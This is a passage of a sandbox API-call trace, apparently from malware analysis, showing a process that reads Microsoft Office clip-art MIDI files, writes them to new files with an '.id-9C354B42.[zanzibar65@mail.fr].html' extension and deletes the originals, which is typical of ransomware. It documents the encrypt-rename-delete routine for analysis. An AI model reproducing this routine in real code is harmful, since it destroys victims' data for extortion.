(lpString=".zip") returned 4 [0271.822] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.822] lstrlenW (lpString=".rar") returned 4 [0271.822] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.822] lstrlenW (lpString=".bz2") returned 4 [0271.822] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.822] lstrlenW (lpString=".7z") returned 3 [0271.822] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW (lpString=".dbf") returned 4 [0271.822] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW (lpString=".1cd") returned 4 [0271.822] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW (lpString=".jpg") returned 4 [0271.822] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.823] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.823] lstrlenW (lpString="PARNT_05.MID") returned 12 [0271.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.824] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6020) returned 1 [0271.824] CloseHandle (hObject=0x388) returned 1 [0271.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0271.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.824] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.824] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.824] GetLastError () returned 0x0 [0271.825] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1784, lpOverlapped=0x0) returned 1 [0271.826] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1790, lpOverlapped=0x0) returned 1 [0271.827] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.827] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.827] SetEndOfFile (hFile=0x2f8) returned 1 [0271.827] CloseHandle (hObject=0x2f8) returned 1 [0271.827] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.827] SetEndOfFile (hFile=0x388) returned 1 [0271.830] CloseHandle (hObject=0x388) returned 1 [0271.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString=".doc") returned 4 [0271.831] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.831] lstrlenW (lpString=".docx") returned 5 [0271.831] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0271.831] lstrlenW (lpString=".pdf") returned 4 [0271.831] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.831] lstrlenW (lpString=".xls") returned 4 [0271.831] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.831] lstrlenW (lpString=".xlsx") returned 5 [0271.831] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0271.831] lstrlenW (lpString=".ppt") returned 4 [0271.831] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString=".zip") returned 4 [0271.831] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.831] lstrlenW (lpString=".rar") returned 4 [0271.831] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.831] lstrlenW (lpString=".bz2") returned 4 [0271.831] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.831] lstrlenW (lpString=".7z") returned 3 [0271.831] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString=".dbf") returned 4 [0271.831] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString=".1cd") returned 4 [0271.831] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.831] lstrlenW (lpString=".jpg") returned 4 [0271.831] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString=".doc") returned 4 [0271.832] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.832] lstrlenW (lpString=".docx") returned 5 [0271.832] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0271.832] lstrlenW (lpString=".pdf") returned 4 [0271.832] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.832] lstrlenW (lpString=".xls") returned 4 [0271.832] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.832] lstrlenW (lpString=".xlsx") returned 5 [0271.832] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0271.832] lstrlenW (lpString=".ppt") returned 4 [0271.832] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString=".zip") returned 4 [0271.832] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.832] lstrlenW (lpString=".rar") returned 4 [0271.832] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.832] lstrlenW (lpString=".bz2") returned 4 [0271.832] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.832] lstrlenW (lpString=".7z") returned 3 [0271.832] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString=".dbf") returned 4 [0271.832] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString=".1cd") returned 4 [0271.832] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0271.832] lstrlenW (lpString=".jpg") returned 4 [0271.832] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.833] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.833] lstrlenW (lpString="PARNT_06.MID") returned 12 [0271.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.833] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=7768) returned 1 [0271.833] CloseHandle (hObject=0x388) returned 1 [0271.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0271.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.833] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.833] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.834] GetLastError () returned 0x0 [0271.834] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1e58, lpOverlapped=0x0) returned 1 [0271.835] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0271.836] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.836] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.836] SetEndOfFile (hFile=0x2f8) returned 1 [0271.836] CloseHandle (hObject=0x2f8) returned 1 [0271.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.836] SetEndOfFile (hFile=0x388) returned 1 [0271.838] CloseHandle (hObject=0x388) returned 1 [0271.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0271.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString=".doc") returned 4 [0271.839] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.839] lstrlenW (lpString=".docx") returned 5 [0271.839] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0271.839] lstrlenW (lpString=".pdf") returned 4 [0271.839] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.839] lstrlenW (lpString=".xls") returned 4 [0271.839] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.839] lstrlenW (lpString=".xlsx") returned 5 [0271.839] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0271.839] lstrlenW (lpString=".ppt") returned 4 [0271.839] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString=".zip") returned 4 [0271.839] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.839] lstrlenW (lpString=".rar") returned 4 [0271.839] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.839] lstrlenW (lpString=".bz2") returned 4 [0271.839] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.839] lstrlenW (lpString=".7z") returned 3 [0271.839] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString=".dbf") returned 4 [0271.839] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString=".1cd") returned 4 [0271.839] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.839] lstrlenW (lpString=".jpg") returned 4 [0271.840] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.840] lstrlenW (lpString=".doc") returned 4 [0271.840] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.840] lstrlenW (lpString=".docx") returned 5 [0271.840] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0271.840] lstrlenW (lpString=".pdf") returned 4 [0271.840] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.840] lstrlenW (lpString=".xls") returned 4 [0271.840] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.840] lstrlenW (lpString=".xlsx") returned 5 [0271.840] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0271.840] lstrlenW (lpString=".ppt") returned 4 [0271.840] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.840] lstrlenW (lpString=".zip") returned 4 [0271.840] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.840] lstrlenW (lpString=".rar") returned 4 [0271.841] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.841] lstrlenW (lpString=".bz2") returned 4 [0271.841] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.841] lstrlenW (lpString=".7z") returned 3 [0271.841] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.841] lstrlenW (lpString=".dbf") returned 4 [0271.841] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.841] lstrlenW (lpString=".1cd") returned 4 [0271.841] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0271.841] lstrlenW (lpString=".jpg") returned 4 [0271.841] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.841] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.841] lstrlenW (lpString="PARNT_07.MID") returned 12 [0271.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.841] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6564) returned 1 [0271.841] CloseHandle (hObject=0x388) returned 1 [0271.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0271.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.842] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.842] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.842] GetLastError () returned 0x0 [0271.842] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x19a4, lpOverlapped=0x0) returned 1 [0271.844] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0271.845] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.845] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.845] SetEndOfFile (hFile=0x2f8) returned 1 [0271.845] CloseHandle (hObject=0x2f8) returned 1 [0271.845] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.845] SetEndOfFile (hFile=0x388) returned 1 [0271.847] CloseHandle (hObject=0x388) returned 1 [0271.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0271.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.848] lstrlenW (lpString=".doc") returned 4 [0271.848] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.848] lstrlenW (lpString=".docx") returned 5 [0271.848] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0271.848] lstrlenW (lpString=".pdf") returned 4 [0271.848] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.848] lstrlenW (lpString=".xls") returned 4 [0271.848] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.848] lstrlenW (lpString=".xlsx") returned 5 [0271.848] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0271.848] lstrlenW (lpString=".ppt") returned 4 [0271.848] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.848] lstrlenW (lpString=".zip") returned 4 [0271.848] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.848] lstrlenW (lpString=".rar") returned 4 [0271.848] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.848] lstrlenW (lpString=".bz2") returned 4 [0271.849] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.849] lstrlenW (lpString=".7z") returned 3 [0271.849] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString=".dbf") returned 4 [0271.849] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString=".1cd") returned 4 [0271.849] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString=".jpg") returned 4 [0271.849] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString=".doc") returned 4 [0271.849] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.849] lstrlenW (lpString=".docx") returned 5 [0271.849] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0271.849] lstrlenW (lpString=".pdf") returned 4 [0271.849] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.849] lstrlenW (lpString=".xls") returned 4 [0271.849] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.849] lstrlenW (lpString=".xlsx") returned 5 [0271.849] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0271.849] lstrlenW (lpString=".ppt") returned 4 [0271.849] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.849] lstrlenW (lpString=".zip") returned 4 [0271.849] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.849] lstrlenW (lpString=".rar") returned 4 [0271.850] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.850] lstrlenW (lpString=".bz2") returned 4 [0271.850] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.850] lstrlenW (lpString=".7z") returned 3 [0271.850] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.850] lstrlenW (lpString=".dbf") returned 4 [0271.850] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.850] lstrlenW (lpString=".1cd") returned 4 [0271.850] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.850] lstrlenW (lpString="C:\\Program Files\\Microsoft 